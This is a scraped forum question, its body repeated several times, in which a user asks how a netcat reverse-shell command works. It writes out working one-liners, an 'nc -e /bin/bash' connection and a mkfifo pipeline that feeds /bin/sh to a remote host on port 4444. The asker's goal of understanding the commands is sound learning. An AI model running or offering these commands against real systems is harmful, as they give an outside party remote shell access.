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How does this command work? (reverse shell)


Why does this Autologin command work?Question about this shell commandWhat does this specific command do? How does it work?Why doesn't this shell script work?How does this command work?Watch command does not work anymoreWhat does this “printf” command do?Error while installing Oracle 12c on Ubuntu 17.04How does the history command work?How does this sed command work?













0















There was a simple way to connect two systems and getting a shell using nc command as below.




machine A to listen




nc -nlvp 4444



machine B to connect




nc 192.168.4.4 4444 -e /bin/bash


However the -e option is no more, The man pages recommends to follow as below to execute commands




machine A to listen




nc -nlvp 4444



machine B to connect




rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









share


























    0















    There was a simple way to connect two systems and getting a shell using nc command as below.




    machine A to listen




    nc -nlvp 4444



    machine B to connect




    nc 192.168.4.4 4444 -e /bin/bash


    However the -e option is no more, The man pages recommends to follow as below to execute commands




    machine A to listen




    nc -nlvp 4444



    machine B to connect




    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


    I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









    share
























      0












      0








      0








      There was a simple way to connect two systems and getting a shell using nc command as below.




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      nc 192.168.4.4 4444 -e /bin/bash


      However the -e option is no more, The man pages recommends to follow as below to execute commands




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


      I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









      share














      There was a simple way to connect two systems and getting a shell using nc command as below.




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      nc 192.168.4.4 4444 -e /bin/bash


      However the -e option is no more, The man pages recommends to follow as below to execute commands




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


      I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.







      command-line networking bash





      share












      share










      share



      share










      asked 1 min ago









      GoronGoron

      326




      326




















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